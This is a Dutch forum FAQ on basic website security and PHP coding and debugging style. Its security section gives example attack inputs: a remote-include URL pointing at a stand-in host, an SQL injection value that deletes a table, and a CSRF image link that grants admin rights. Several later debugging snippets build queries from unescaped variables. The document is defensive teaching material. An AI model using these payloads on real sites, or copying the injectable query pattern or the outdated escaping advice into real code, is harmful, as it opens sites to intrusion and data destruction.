Beveiliging van een website UP
Beveiliging websites, de basis.
De risico's.
Het is voor webapplicaties erg belangrijk dat ze al vanaf het begin 'potdicht' geprogrammeerd worden. Na serverbugs lijkt het er op dat de meest voorkomende 'hacks' direct gerelateerd zijn aan 'gevaarlijk' of 'lui' programmeren. Veel sites worden door beginnende webprogrammeurs in elkaar gezet en zijn vaak een erg simpel doelwit voor een beetje geoefende hackers.
Uiteraard is een bezoekje van een hacker niet zo heel erg, deze mensen hebben meestal het beste met iedereen voor en zullen dan ook over het algemeen na het vinden van de fout weinig ongein uithalen. Naast de hackers heb je ook nog de crackers, zij zullen zich niet gestopt zien door morele waarden en na het vinden van een gat in de beveiliging van de website nog flink nagenieten van het zo erg mogelijk pesten van de sitebeheerders.
Bij grotere websites is het wat lastiger, hacks zijn nog steeds uit te voeren (er vanuit gaande dat software nooit bugvrij is). Maar het is wel te hopen dat het bij dergelijke sites toch wel erg moeilijk gemaakt is en/of wordt. Ook hier zijn de hackers niet 'al te erg', daar dezen de gevonden fouten (vaak met een oplossing) rapporteren. Helaas menen sitebeheerders dit soort meldingen in de praktijk nog wel eens te moeten negeren, het is echter verstandig zo veel mogelijk dat soort meldingen gewoon na te gaan en te controleren. Wat erger is in dit geval zijn de professionele crackers, deze zullen veel moeite doen om belangrijke gegevens te achterhalen (voor verkoop of uit opdracht) of de website flink te verpesten (mogelijk om klanten naar het eigen bedrijf te sturen, want een site die down is verliest snel zijn vaste bezoekers).
Naast de 'gewone' hacks op systeem en software niveau zijn er ook nog de DoS aanvallen en dan tegenwoordig steeds vaker in gedistribueerde varianten (DDoS). Het grootste nadeel van een goed opgezette DoS is dat er vrijwel niets aan gedaan kan worden.
De gevolgen van DoS aanvallen zijn legio, waarbij in het beste geval na een korte downtime de service weer in de lucht komt. In ergere gevallen kunnen DoS aanvallen dagen of zelfs weken duren en zal de service daar wellicht blijvende schade aan ondervinden of zelfs failliet gaan, aangezien de ISP waarschijnlijk ook een flinke rekening voor het vele dataverkeer zal opsturen terwijl er geen geld binnenkomt.
Een DoS is eigenlijk niets anders dan het 'zo vaak opvragen van de service dat die service overbelast raakt', met als overduidelijk gevolg dat er geen services meer aan normale klanten geboden kan worden. DoS betekent dan ook 'Denial of Service'. Mocht een site zelf wel tegen een DoS bestand zijn, dan kan het ook nog voorkomen dat de stap daarvoor bezwijkt (veelal de ISP of een deel van diens services), ook in dat geval is het gewenste doel al bereikt. Sommige software bezwijkt onder hevige DoS aanvallen en kan in erge gevallen zelfs veiligheidsgaten openzetten.
Al deze aanvallen kunnen er toe leiden dat er gegevens van en over de klanten bij derden bekend raken, dit is niet alleen zeer onwenselijk maar ook nog eens wettelijk verboden. Naast de klantgegevens zijn er natuurlijk ook nog eens allerlei andere gegevens die niet aan derden bekend mogen worden. Behalve beschikbaarheid van de gegevens is het ook mogelijk dat de gegevens wijzig- of verwijderbaar worden, wat nog weer een gradatie erger is (vooral omdat dan ook de gegevens beschikbaar zijn).
Risico's in meer detail en het voorkomen ervan.
Geen informatie verstrekken.
Hoewel een hacker/cracker niets hoort te kunnen doen met de gevonden informatie, is het altijd beter dat hij niet meer informatie over een site heeft dan strikt noodzakelijk voor het gebruik van de site. Elk beetje informatie kan een veiligheidsgat blootleggen of de impact van een hack vergroten doordat de hacker veel beter weet wat hij allemaal kan uithalen. Weliswaar is dit dan een fout van de programmeur, maar de hacker zal daar alleen maar dankbaar voor zijn.
Dit neemt niet weg dat het over het algemeen een goed idee kan zijn om anderen naar je code te laten kijken. Dit hoeft niet te betekenen dat je meteen je code opensourcet, maar vier ogen (of meer) zien meer dan twee. Als je aan grotere projecten werkt in grotere teams, is het niet ongebruikelijk dat er een veiligheidsexpert in dienst wordt genomen om de security kant van de code door te nemen.
Wat sourcecode betreft betekent dit dus dat zelfs als een cracker/hacker jouw code niet kan zien, hij de veiligheidsgaten nog steeds kan vinden - het duurt hooguit wat langer! Oftewel, closed source code verandert niks aan het security principe, hier moet je altijd op letten! Closed source code is op zichzelf absoluut geen beveiliging, het kan slechts een toevoeging zijn op andere beveiligingsmethoden!
DoS aanvallen afslaan.
Zoals gezegd is er tegen de DoS aanvallen erg weinig te doen, de meeste bescherming ertegen zal door de ISP geboden moeten worden. Eventuele zaken die de downtime en DoS-werking kunnen verminderen zijn flinke overcapaciteit, maar zelfs sites als Yahoo!, ebay, microsoft.com en amazon zijn gevoelig voor DoS. Een DoS hoeft namelijk niet per se gericht te worden op de primaire webservers, maar kan ook heel goed de secundaire services uit de lucht halen, waardoor een site alsnog down gaat.
Aangezien hier dus zo goed als niets aan te doen is, is het belangrijkste dat er in dergelijke gevallen niet te veel gelogd wordt (er komt toch elke keer hetzelfde), een volle harde schijf wil nog wel eens een server laten crashen. Daarnaast is het belangrijk dat de software nooit ofte nimmer onder hoge load mag bezwijken, een simpele controle op de belasting van het systeem zou gedaan kunnen worden om vervolgens de (zware) service te 'verbieden', waardoor de DoS al een stuk minder grote impact heeft. Het is uiteraard overduidelijk dat de software al helemaal geen steekjes mag laten vallen op het gebied van de beveiliging.
Firewalls halen verder erg weinig uit tegen DoS aanvallen, behalve dat ze zo ingesteld kunnen worden dat ze het aantal requests op de webservers slechts 'gedeeltelijk' doorlaten, wat tot gevolg heeft dat een DoS gericht op de service (en niet op de bandbreedte) vrij effectief gestopt kan worden dmv goede firewalling en configuraties.
Serversoftware.
Tegen de meeste andere aanvallen is wel vrij goed op te treden door de sitebeheerders.
De bugs in de serversoftware zijn over het algemeen vrij snel door de leverancier gerepareerd, hoewel Microsoft er nog wel eens laks mee om leek te gaan in geval van IIS. Zij hebben ondertussen hun software strategie toch maar (flink) omgegooid en zijn zich veel meer op veiligheid gaan richten.
Het devies is hier dus 'blijf op de hoogte' en zorg ervoor dat de nieuwste patches altijd geïnstalleerd worden (als deze veiligheidsgerelateerd zijn). Dit geldt zowel voor het operating system, de webserver software als alle andere gebruikte pakketten en tools.
Naast bugs in de besturings systemen en de gebruikte software zijn er ook nog een heleboel andere instellingen die fout kunnen gaan. Zo moeten de rechten voor de 'webserver uitvoerende' gebruiker hooguit op "leesrechten" staan voor de php files (zodat deze niet gemodificeerd kunnen worden) en mag er in principe op geen enkele plek "schrijfrechten" gegeven worden. Ook mag die 'gebruiker' geen administrator/root rechten hebben, omdat dit te veel vrijheid geeft, wat (bijna) nooit nodig is.
De server mag uiteraard ook niet door teveel mensen beheerd worden en (liefst) alleen door capabele beheerders.
Aanvallen op de software zelf.
Alle aanvallen op de software van de website zelf (de php, jsp, asp, etc code) zijn in principe altijd te voorkomen. In die paar gevallen dat ze niet voorkomen kunnen worden moet er flink nagedacht worden of er niet een andere manier is om het gewenste resultaat te bereiken, in veel gevallen is er een andere oplossing of is het dusdanig moeilijker te maken dat het niet meer een 'major issue' kwa veiligheid.
Spoofing, voor authenticatie en autorisatie.
Er zijn grofweg twee aanvalsmethoden te bedenken, spoofing van de gebruiker en invoeren van (bewust) foute waarden.
De eerste varieert van het spoofen van ip-verkeer tot en met het zich voordoen van een andere gebruiker door 'achter diens PC te gaan zitten'.
In de meeste gevallen is hier een goed sessie systeem nuttig met een korte sessielevensduur. SessieID's mogen ook niet voorspelbaar zijn, evenals automatisch gegenereerde wachtwoorden. De authenticatie/autorisatie van een user is over het algemeen veel beter te regelen dmv sessies.
Echter kan een sessie geen bescherming bieden tegen het zgn. 'kapen van sessies' (het verkrijgen van het sessieID) en/of het afluisteren van verkeer. Wel kan je een sessie tot op zekere hoogte nog beschermen tegen het kapen, door ze te koppelen aan het (vaste) ip van de gebruiker.
Sessies kunnen op allerlei wijzen gekaapt worden, een van de manieren is daarvoor het afluisteren van het verkeer en dat is gelukkig weer goed te voorkomen met encryptie van de communicatie. De standaardmethode hiervoor is de SSL-tunneling van HTTP, via HTTPS, dit biedt een behoorlijk goede beveiliging tegen allerlei vormen van afluisteren.
Naast het moedwillig kapen is het ook mogelijk dat allerlei tussenliggende proxyservers pagina's in hun cache opslaan, die per gebruiker specifiek zouden moeten zijn. Een goede proxyserver zal de cache instellingen uit de headers aflezen en die respecteren. Voor dat soort zaken is het dus ook verstandig de cache-control headers altijd mee te sturen (oa voor 'private' cacheing), zodat niet twee gebruikers elkaars sessies etc kunnen krijgen.
SSL gebruiken.
Er moet dan uiteraard wel goed gecontroleerd worden of HTTPS ook daadwerkelijk gebruik wordt, het liefst moet ook de 'inlogpagina' zelf al via HTTPS getransporteerd worden. Die controle is vrij eenvoudig uit te voeren met; if($_SERVER['HTTPS'] == 'on'), maar lastiger te 'forceren'. Je kunt een gebruiker tenslotte niet dwingen ineens een https verbinding te hebben, maar hem dat slechts als mogelijke opties tonen.
Naast HTTPS/SSL voor de verbinding met de gebruiker kan er ook nog gedacht worden aan een SSL verbinding met de betalingsinstanties en/of andere resources op het internet die geraadpleegd moeten worden. Deze zullen nog een gevaarlijker plek zijn, wat hackers en crackers betreft.
Verder kunnen SSL-certificaten gebruikt worden om de gebruiker zich te laten authenticeren bij de server, dit zal in de praktijk niet veel gebruikt worden, maar bij erg belangrijke applicaties is een dergelijke oplossing wel noodzakelijk.
Foute invoer controleren
Het is, helaas, ook mogelijk dat gebruikers 'malicious' htmlcode kunnen plaatsen op een site (overal waar gebruikers berichten achter kunnen/mogen laten). In dat geval kunnen ze door middel van een simpel stukje javascript heel simpel alle inhoud uit de cookies en de GET/POST-aanroep krijgen. Hiertegen is verder geen bescherming te bieden door de aanbieder van de site, behalve door het tegengaan van javascript en html 'plaatsbaarheid'.
De andere grote veiligheidsgaten trekker is het opgeven van foute waarden. Vaak gaan programmeurs er vanuit dat 'als het niet in het vakje past, kan het niet gestuurd worden'. Dat is helaas niet waar met http en ook op geen manier echt vast te leggen. Mocht er dus clientside door (bijv.) javascript de invoer gecontroleerd worden, dan dient deze altijd aan de serverside gecontroleerd te worden.
Er zijn in de php-wereld twee klassieke voorbeelden:
Stel er is een script met code:
PHP: 1
2
3
4
5
6
| <?
if(isset($include))
{
include($include . ".php");
}
?> |
code: 1
| http://www.server.nl/test.php?include=http://gevaar.nl/foutscript |
code: 1
| http://www.server.nl/test.php?include=http://gevaar.nl/foutscript |
In dit geval zal de code van het script (of de scriptoutput) http://gevaar.nl/foutscript.php uitgevoerd worden op de doelserver.
Dit is overigens heel eenvoudig te voorkomen. De ene manier is controleren of de waarde van $include wel toegestaan is, door bijvoorbeeld met de functie in_array() te controleren of deze in een bepaald array zit of door bijv dmv een switch/case boom de waarde $input nooit in een include te gebruiken.
[php]
$paginanamen = array('test', 'index');
if(isset($include) && in_array($include, $paginanamen)
{
include($include .".php");
}
else
{
include("index.php");
}
?>[/php] of [php]
if(!isset($include))
{
$include = 'index';
}
switch($include)
{
case 'index' :
include('index.php');
break;
case 'test' :
include('test.php');
break;
default :
include('index.php');
break;
}?>[/php] Een variant hier op is het direct invoeren van waarden in allerlei queries. De 'zwaardere' databases kunnen prima overweg met meerdere queries in één statement, waardoor er een groot gevaar schuilt in het volgende:
[php]
$query = "SELECT * FROM tabel WHERE naam = '$naam';";
?> [/php]
Als nu via een GET-aanroep de variabele $naam een waarde als:
[php]
$naam = "bla'; DELETE FROM tabel; SELECT * FROM tabel WHERE naam = 'bla";?>[/php] is het overduidelijk dat dit geen gewenst resultaat gaat geven.
Het grote gevaar schuilt hem erin, dat de uiteindelijke query tekst het volgende wordt:
[php]
$query = "SELECT * FROM tabel WHERE naam = 'bla';
DELETE FROM tabel; SELECT * FROM tabel WHERE naam = 'bla';";?>[/php] Wat natuurlijk perfect aan de eisen van de database voldoet, maar niet echt aan die van de gebruiker. Dit soort zaken is erg simpel op te lossen door de ' te 'escapen'.
PHP biedt daar onder andere functies als addslashes(), mysql_string_escape(), pg_string_escape() voor.
Gerelateerd hieraan is het opgeven van stukken tekst waar getallen verwacht worden (door allerlei functies te controleren) en het opgeven van verkeerde waarden voor de hidden-input velden.
Het kan namelijk ook erg vervelende gevolgen hebben als blijkt dat een opgegeven getal 'niet 0' is en er mee gedeeld wordt (of het getal niet eens opgegeven is).
GET en POST variabelen door elkaar gebruiken.
Een andere variant op deze aanvalsmethode is het opsturen van variabelen via GET terwijl deze door middel van POST gestuurd had moeten worden, bij veel sites die en geïntegreerde gebruikersadministratie interface hebben was het mogelijk om door middel van GET-variabelen statussen van gebruikers te wijzigen.
Dit lijkt niet erg, totdat je diezelfde gebruikers plaatjes laat plaatsen.
Als een gebruiker dan een plaatje opgeeft in de trant van: jouwserver.nl/admin/useradmin.php?action=maakadmin&userid=1234 kan er allerlei ergs gebeuren. Als in dit geval de variabele $action met de (valide) waarde 'maakadmin' uitgelezen wordt dan zal de gebruiker met userid 1234 ineens administratorrechten hebben gekregen nadat een al bestaande administrator toevallig dat 'plaatje' laadde.
Een erg groot deel van de publiekelijk verkrijgbare forumsoftware pakketen was kwetsbaar voor deze variant. De oplossing hiervoor is ook weer redelijk eenvoudig, maar vereist wel wat meer inzicht in http en een strikter programmeermodel. Men moet zichzelf verplichten de 'automatisch globale' variabelen (alle sessie, cookie, post en get variabelen in de oudere php-versies) niet te gebruiken.
PHP biedt de mogelijkheid de aanroep te veranderen in varianten als: $_POST['action'] waarmee gekeken wordt naar de bij de POST-request opgestuurde variabele met de naam 'action'.
Hiermee wordt gegarandeerd dat de variabele altijd dmv een POST-request gestuurd was, een vergelijkbare mogelijkheid is er voor de SESSION, SERVER, GET en COOKIE variabelen (ook is er nog de FILES, voor gePOSTte files).
Strict gebruikmaken van deze array's is dus erg aan te raden en zou verplicht moeten zijn. Om dit 'verplicht' strikt te maken kan de optie 'register_globals' op Off gezet worden om het zelfs niet meer mogelijk te maken dat het anders werkt.
Code testen en debuggen.
Het is natuurlijk altijd de bedoeling dat code goed gedebugged en getest wordt, bij php is het vrij eenvoudig om flinke fouten te maken omdat een variabele gebruikt wordt die helemaal niet bestaat. Mocht dat bekend worden bij hackers, dan is het zelfs mogelijk dat zij een waarde meegeven waardoor er ernstige problemen kunnen ontstaan. Om deze fouten tegen te gaan is het raadzaam dat de code geen waarschuwingen oplevert indien de foutmeldingniveau's op het laagst mogelijk gezet zijn. Dit is in te stellen dmv: error_reporting(E_ALL)
Rechten altijd controleren.
Zowel bij het aanbieden als het uitvoeren van een bepaalde functionaliteit moet er gecontroleerd worden of de gebruiker wel recht heeft dat te doen. Bijvoorbeeld het recht op het bekijken van de backend en het daar wijzigen van teksten.
Daar bovenop kan nog eens gecontroleerd worden of die gebruiker het recht heeft 'artikelen van anderen' te wijzigen en ga zo maar door.
Aangezien HTTP stateless is, moet er bij elke actie gecontroleerd worden waar de gebruiker is in het stadium van een actie (hiervoor zijn sessies bedacht) en moet er dus ook altijd gecontroleerd worden of de rechten wel valide zijn. Anders zou iemand 'voorbij de eerste stap' in kunnen stappen en dan ineens wel toegelaten worden.
Ook is het erg raadzaam bij 'belangrijke taken' de veiligheidsopties nog strakker aan te trekken. Het is bijvoorbeeld mogelijk om in zulk soort gevallen altijd opnieuw om het password te vragen. Bijvoorbeeld bij het wijzigen van gegevens of rechten van andere gebruikers.
Naast het opgeven van passwords moeten deze passwords ook altijd 'moeilijk' zijn, zowel niet raadbaar als niet berekenbaar. En het is helemaal 'veilig' als deze passwords ook nog eens om de X uur (automatisch) te laten veranderen (bijvoorbeeld elke 2 weken).
Goede password policies stellen normaliter als eis dat het password bestaat uit een variërende reeks tekens van minimaal 6 tekens, liefst met getallen, leestekens, hoofdletters en gewone letters door elkaar. Dit maakt het password niet raadbaar en nauwelijks 'brute forceerbaar'. Een password als 'jansen' is natuurlijk erg makkelijk te raden als de gebruiker zelf 'Jan Jansen' heet, echter zal 'gsa-3$@sfa' nooit geraden worden. Het grootste nadeel is dat het password niet makkelijk te onthouden is en daardoor nog wel eens op het scherm geplakt wordt met een post-it, dan is natuurlijk al het nut van een moeilijk password verdwenen.
Firewalls en 'hard' afschermen.
Sommige delen van de site worden maar door een bepaald aantal mensen gebruikt, dan is het in principe niet nodig dat andere mensen daarbij kunnen komen. En vaak is het dan raadzaam dat dat door middel van een goede firewall afgeschermd wordt. Ook kan de meeste webserversoftware zo ingesteld worden dat mensen vanaf een bepaald ip-adres wel (of juist niet) ergens bij kunnen. Want wat een hacker niet kan zien, kan hij niet of nauwelijks hacken. Vergeet echter niet dat de hack op een van de zwakste schakels gebeurd, mocht de computer met het toegestane ip-adres makkelijk over te nemen zijn, dan heeft deze beveiliging geen effect meer.
Intruder detection.
Een belangrijke functionaliteit om (het slagen van) hackpogingen tegen te gaan is het zogenaamde intruder detection. Hiermee wordt geprobeerd de hacker op te sporen op het moment dat hij binnenkomt, een soort alarmsysteem dus. De meest gebruikte respons is dan een mailtje naar de beheerder, een regeltje in de logbestanden en/of het (tijdelijk) afsluiten van het ip-adres van de hacker.
Als een hacker tijdig gedetecteerd kan worden zal de impact en kans van slagen van een hackpoging veel verkleinen. Zelfs als de hacker weet binnen te komen is het nog verstandig dat hij gedetecteerd wordt, zodat hij niet ongestoord zijn gang kan gaan.
Een voorbeeld van intruder detectie is; Als de sessie van een gebruiker gekoppeld wordt aan zijn ip-adres, kan het ontdekt worden dat de sessie ineens van een ander ip komt. Bij mensen met een vast ip-adres betekent dat dan vrijwel zeker dat de sessie gekaapt is. Een verstandige respons is dan om de sessie te vernietigen en in de logfiles te vermelden dat dit heeft plaatsgevonden.
Ook wijst het vaak op 'problemen' wanneer gebruikers meerdere sessies hebben lopen vanaf dezelfde computer (bijvoorbeeld voor gebruiker A en gebruiker B, C en D), er moet natuurlijk wel rekening mee gehouden worden dat proxyservers ook op zo'n manier over kunnen komen.
Een ander punt is natuurlijk het 'te vaak' fout intikken van wachtwoorden.
Loggen van fouten.
Om achteraf bewijsmateriaal te verzamelen en fouten in de software tijdens routine controles op te sporen is het verstandig dat er veel gelogd wordt. Natuurlijk heeft het geen nut tien keer hetzelfde te loggen, maar een intelligente logging van (vooral) de belangrijke stappen binnen het gebruik van de site werpt zeker zijn vruchten af. Een van de standaard handelingen van een hacker is om de logfiles te verwijderen na en/of tijdens zijn werkzaamheden, het is dan ook verstandig de logfiles op een andere server te laten bijhouden, zodat de hacker daar niet (makkelijk) bij kan komen.
Andere handelingen tijdens vermeende hackpogingen.
Als onderdeel van een DoS aanval kan het gebeuren dat een hacker/cracker zich honderden-duizenden keren probeert te registreren als gebruiker of andere handelingen verricht (bestellingen in een webshop), het is daarom raadzaam om in ieder geval dat deel van de site te kunnen uitschakelen. Vaak is het daarbij nog nuttig de site in 'onderhoudsmodus' te zetten, zodat niets meer werkt en de eventuele schade en/of fouten hersteld kunnen worden. Naast het kunnen uitschakelen van die opties met de hand, is het ook erg verstandig dit (deels) te automatiseren, waardoor de site zichzelf voor een deel en bijvoorbeeld alleen voor bepaalde ip-adressen deels of compleet uitschakelt. Veelal kan dit laatste gecombineerd worden met intruder detection.
kritiek op een aanmerkingen kunnen hier: [TOPIC=496336///][RFC] Uitbreiding voor de FAQ, beveiliging website[/TOPIC] en hier [TOPIC=515113///][ALG] over de FAQ. Security: open source of niet?[/TOPIC]. tnx ACM voor dit stukje.
Let op vanaf php versie 4.2 UP
[url="http://www.php.net/manual/en/reserved.variables.php"]http://www.php.net/manual/en/reserved.variables.php[/url]
uit de zend php nieuwsbrief[quote]
CODING PHP WITH REGISTER_GLOBALS OFF
Jason E. Sweat helps PHP programmers understand how to code with the register_globals PHP configuration parameter set to Off, the new default value since PHP 4.2.0.
http://www.zend.com/zend/art/art-sweat4.php
[/quote]
Netjes Coden UP
- Overzichtelijk coden UP
Bekijk het verschil tussen de 2 onderstaande voorbeelden
- 1
code: 1
2
3
4
| if(blaatwat){
echo "blaat";
}else{
echo "niet blaat";} |
- 2
code: 1
2
3
4
5
6
7
8
| if(blaatwat)
{
echo "blaat";
}
else
{
echo "niet blaat";
} |
Een switch statement bouw je zo:
code: 1
2
3
4
5
6
7
8
9
| switch(bla)
{
case [case]:
expr
break;
case [case]:
expr
break;
} |
Let op niet iedereen is het eens met het bovenstaande.
Zie ook hier.
Die discussie is geweest. Consequentie is belangrijker dan een de keuze maken tussen die paar manieren. Zie hier hier.
Ik pretendeer niet gelijk te hebben maar weet wel uit ervaring, dat hier vaak fouten in ontstaan.
Nog een inspring voorbeeldcode: 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| <table parameters..>
<tr>
<td>
Een lap text :P
</td>
<td>
En nog een lapje
</td>
</tr>
<tr>
<td colspan=2>
Dus...
</td>
</tr>
</table> |
Door die TD's op een andere regel te zetten als de content wordt er automatisch een spatie ingevoegd, wat op zich niet erg is met tekst, maar wel met plaatjes!
Probeer maar eens 2 plaatjes naadloos op elkaar aan te laten sluiten .. dan zul je zien dat je die IMG tag ook naadloos moet omsluiten met TD tags.
Dus dan kan je niet het voorbeeld zoals boven aanhouden!!!!!
Niet zo
maar zo
nog wat voorbeelden
niet zo
code: 1
2
3
4
| functie ( dit, dit, en, dat );
functie ( nuNogeenkeer, maar, dan, zo );
functieTwee ( En, nu, een, andere, functie );
functieTwee ( Met, ook, twee, aanroepen, dus ); |
maar zo
code: 1
2
3
4
5
| functie ( dit, dit, en, dat );
functie ( nuNogeenkeer, maar, dan, zo );
/* hier kun je een enter overwegen */
functieTwee ( En, nu, een, andere, functie );
functieTwee ( Met, ook, twee, aanroepen, dus ); |
Dit geldt dan ook voor variabelen:
niet zo
code: 1
| var $var1="waarde1",$variable2="waarde2",$dingetje3="waarde3"; |
maar zo
code: 1
2
3
4
| var $var1 = "waarde1",
$variable2 = "waarde2",
$dingetje3 = "waarde3",
$melp = "waarde4"; |
wordt een functieaanroep te lang, wees niet bang op een volgende regel verder te gaan. Lijn dan wel haakje openen, haakje sluiten verticaal goed uit:
niet zo
code: 1
| functieAanroep(blablabla,blablabla2(melpje,lerpje,nogwatmeuk)); |
maar zo
code: 1
2
3
4
5
6
7
8
9
| functieAanroep (
blablabla,
blablabla2 (
melpje,
lerpje,
nogwatmeuk
),
ennogmeeronzin
); |
Kies uiteraard zelf wanneer dit echt van toepassing is.
Verder na *elke* komma een spatie. Om operators ook altijd spaties, en na en voor haakjes spaties:
Naamgeving variabelen, functies etc:
Niet te lang, geen underscores, alleen inner capitalization
niet zo
code: 1
2
3
| var sjaakdebeverisgekomen;
function DITISEENFUNCTIE ()
class DItisEENCLASSEwaarikDitENDITMeeDOe |
maar zo
code: 1
2
3
4
| var sjaakDeBeverIsGekomen;
function ditIsEenFunctie ()
class DitIsEenClass |
- Controleer zelf je code UP
Bij script fouten eerst kijken of het script uberhaupt wel klopt.
Dus controleer op werking.
Het maken van een PSD/flowchart is echt geen doodszonde als je er niet meer uitkomt.
Je bent te laat met het maken van een PSD/flowchart deze moet je eerst maken maar als je je idee alsnog op papier zet kan je je code controleren.
En natuurlijk hoe je stijl ook is, je stijl consequent blijven gebruiken.
Klinkt misschien logisch maar er zijn vaak genoeg mensen die 3 stijlen door elkaar gebruiken.
- Zet commentaar bij je code UP
code: 1
2
3
4
5
6
7
8
| if
{
for ()
{
code
} // end for
} // end if
end if |
code: 1
2
| int intvariable; // commentaar over var
float fpvariable; // commentaar over var |
code: 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| //----------------------------------------------------------
// Functie Blaat(arg1, arg2)
//----------------------------------------------------------
//
// Input:
// arg1 : int aantal maal
// arg2 : *char[] weer te geven tekst
//----------------------------------------------------------
//
// Returns
// true : gelukt
// false : mislukt
//----------------------------------------------------------
bool Blaat(int,*char[])
{
//en verder met de functie |
- Algemene aanpak debuggen UP
Algemene aanpak debuggen:
- Bepaal duidelijk wat het probleem is, dus
- a) wat er fout gaat (foutmelding)
- b) wanneer het fout gaat (omstandigheden, handelingen, etc)
- c) probeer de fout te reproduceren
- Probeer te begrijpen en/of onderzoeken (zoeken in manuals met foutmeldingstekst bijv.), op basis van de info van punt 1 wat de bug zou kunnen zijn. Als dit triviaal is, fix het en test of het werkt. Zo niet, ga door.
- Probeer te lokaliseren in welk grootst te onderscheiden stuk code het probleem zich voordoet, en zoek vanaf daar verder naar totdat je de kleinst mogelijke eenheid code hebt gevonden waarin de fout zich voordoet.
- Loop stap voor stap door de code in dit kleinst mogelijke stuk code heen, waarbij je vooral let op:
- a) waarden van relevante variabelen
- b) calls naar externe functies/objecten/etc., die evt. onvoorspebaar of incorrect gedrag vertonen
- c) niet afgevangen condities (Null waarden, geen records gereturned, negatieve waarden, verkeerd type waarden, etc.)
- d) syntax vergissingen (bijv. "=" gebruiken als vergelijkingsoperator waar je "==" zou moeten gebruiken)
- e) correctheid van (loop) condities ('out of bounds' problemen, '>' dat '>=' zou moeten zijn, etc.)
Speciale gevallen
SQL Queries
Als je dynamisch een SQL query opbouwt, en die geeft problemen (onverwachte resultaten, syntax errors), print dan de query uit.
Als je dan niet in 1 oogopslag ziet wat het probleem is, open dan een directe connectie naar de database en voer de query handmatig uit, en speel ermee tot die wel goed is voordat je de code aanpast.
Connecties tussen verschillende systemen
Als je van deel A naar deel B een connectie maakt (COM call, message queue, HTTP call, CORBA call, etc), zorg dan dat je direct voor de uitgang van systeem A en na de ingang bij systeem B alle waarden logt, zodat je precies kan vergelijken of deze overeenkomen, en je zeker weet in welk deel het probleem zit.
Als je het probleem nu nog niet ziet of kunt oplossen, isoleer dat precies de regel code die de fout triggert, en haal er een buitenstaander bij, die een frisse blik op jouw code kan werpen.
Tnx MrX voor dit stukje. Zie voor discussies dit topic: [ALG] Hoe pakt een programmeur debuggen aan? .
- Taal specifiek : JAVA en ObjectOriented(algemeen) UP
- Gebruik getypeerde enumeraties ipv integers.
- Maak niet constante variabelen nooit public.
- Geef een methode parameter nooit een nieuwe waarde.
- Gebruik altijd code-blocks bij if, while, for etc.
- Vermijd het gebruik van de ... ? ... : ... constructie.
- Gebruik Engelse namen om de code er homogeen uit te laten zien in combinatie met standaard API gebruik.
- Overweeg het gebruik van _ voor klasse variabelen, om een duidelijk onderscheid te maken tussen lokale en klasse variabelen.
- Vermijd het gebruik van static.
- Gebruik een Iterator ipv een Enumeration, ArrayList ipv Vector, HashMap ipv Hashtable
- Gebruik een StringBuffer als je over meerdere statements een String moet opbouwen. Als je een String in 1 statement optelt, wordt dit automatisch gedaan.
- Gebruik zoveel mogelijk maar 1 return statement in een methode.
- Schrijf korte methoden. Als een methode duidelijk meerdere taken verricht, moet je overwegen om dit op te splitsen.
- Eet je exceptions nooit op door ze simpel naar de System.out te schrijven. Gooi ze zover door als noodzakelijk is.
- Roep altijd de super constructor aan.
- Taal specifiek :debuggen in PHP UP
Bouw je query's als volgt
PHP: 1
2
3
4
5
6
7
8
9
10
| <?
$connect = mysql_connect($server,$usersql,$passwd)
or die("Bad connect string: ".mysql_error());
mysql_select_db($dbnaam,$connect)
or die("Bad database change: ".mysql_error());
$sql = "SELECT * FROM blaat where id='$id'";
$query = mysql_query($sql,$connect)
or die(mysql_error());
?> |
En dus direct zien of je wel de juiste dingen in je query hebt. In dit geval of id wel bestaat oid.
Code dus ook overzichtelijk.
zo krijg je dus geen (nou ja minder) fouten met haakjes.
En nee ik gebruik er niet te veel want dit zijn maar simpele voorbeeldjes.
Bekijk het verschil tussen de 2 onderstaande voorbeelden
- 1
PHP: 1
2
3
4
5
6
| <?
if($blaatwat){
echo "blaat";
}else{
echo "niet blaat";}
?> |
<li>2
PHP: 1
2
3
4
5
6
7
8
9
10
| <?
if($blaatwat)
{
echo "blaat";
}
else
{
echo "niet blaat";
}
?> |
Verder kan je het beste
PHP: 1
2
3
4
5
| <?
echo "<pre>";
print_r($var);
echo "</pre>";
?> |
of
PHP: 1
2
3
4
5
| <?
echo "<pre>";
var_dump($var);
echo "</pre>";
?> |
gebruiken bij variabelen waar je aan twijfelt, en dan in het bijzonder bij array's natuurlijk.
Ook een redelijk vaak voorkomende fout is: PHP: 1
2
3
4
5
6
7
8
9
10
| <?
if ($blaat)
{
echo "Blaat";
}
else
} // kijk goed !!
echo "niet blaat";
}
?> |
het plaatsen van een verkeerd haakje.
Verder hebben PHP en MySQL prima foutmeldingen:
ERROR: Parse error on line 14
Staat er niet voor niets, en je zou dus kunnen beginnen met zoeken op lijn 14, en langzaam omhoog werken.
Meestal is dit gewoon het vergeten van een haakje, komma of aanhalingsteken.
Daarom is het inspringen zo belangrijk (standaard is 4 spaties geloof ik, maar een tab of 4 spaties word ook veel gebruikt)
ERROR: Supplied argument is not a valid MySQL result resource
Betekent dat je iets fout doet met je query, zorg dat zo'n error word afgevangen..
PHP heeft prachtige ERROR handeling functies, kijk bevoorbeeld eens naar
- error_reporting()
- set_error_handler()
En voor mySQL fouten:
Als je dan na 30x kijken toch nog niet hebt gevonden wat de fout is en je het toch op GoT post, doe dat dan iig duidelijk.
Post het stukje code (dus niet de complete 62Kb) met de foutmelding, tussen php tags en GEEF AAN IN WELKE REGEL de fout zit.. Als iemand post dat er in regel 102 een fout zit, ga ik geen 102 regels tellen, en het schiet helemaal niet op als alleen regel 94 t/m 125 er staat..
Duidelijke variabelenamen kunnen ook helpen, zodat je ze moelijk kan omdraaien.
Zo dus niet :
PHP: 1
2
3
4
5
6
7
8
9
10
11
| <?
$connect = mysql_connect($server,$usersql,$passwd)
or die("Bad connect string: ".mysql_error());
mysql_select_db($dbnaam,$connect)
or die("Bad database change: ".mysql_error());
$query = "SELECT * FROM blaat where id='$id'";
$sqlquery = mysql_query($query,$connect)
or die(mysql_error());
$sqlquery = mysql_fetch_array($query);
// !
?> |
maar
PHP: 1
2
3
4
5
6
7
8
9
10
| <?
$connect = mysql_connect($server,$usersql,$passwd)
or die("Bad connect string: ".mysql_error());
mysql_select_db($dbnaam,$connect)
or die("Bad database change: ".mysql_error());
$query_string = "SELECT * FROM blaat where id='$id'";
$query_result = mysql_query($query_string,$connect)
or die(mysql_error());
$query_array = mysql_fetch_array($query_result);
?> |
code: 1
2
3
4
5
6
7
8
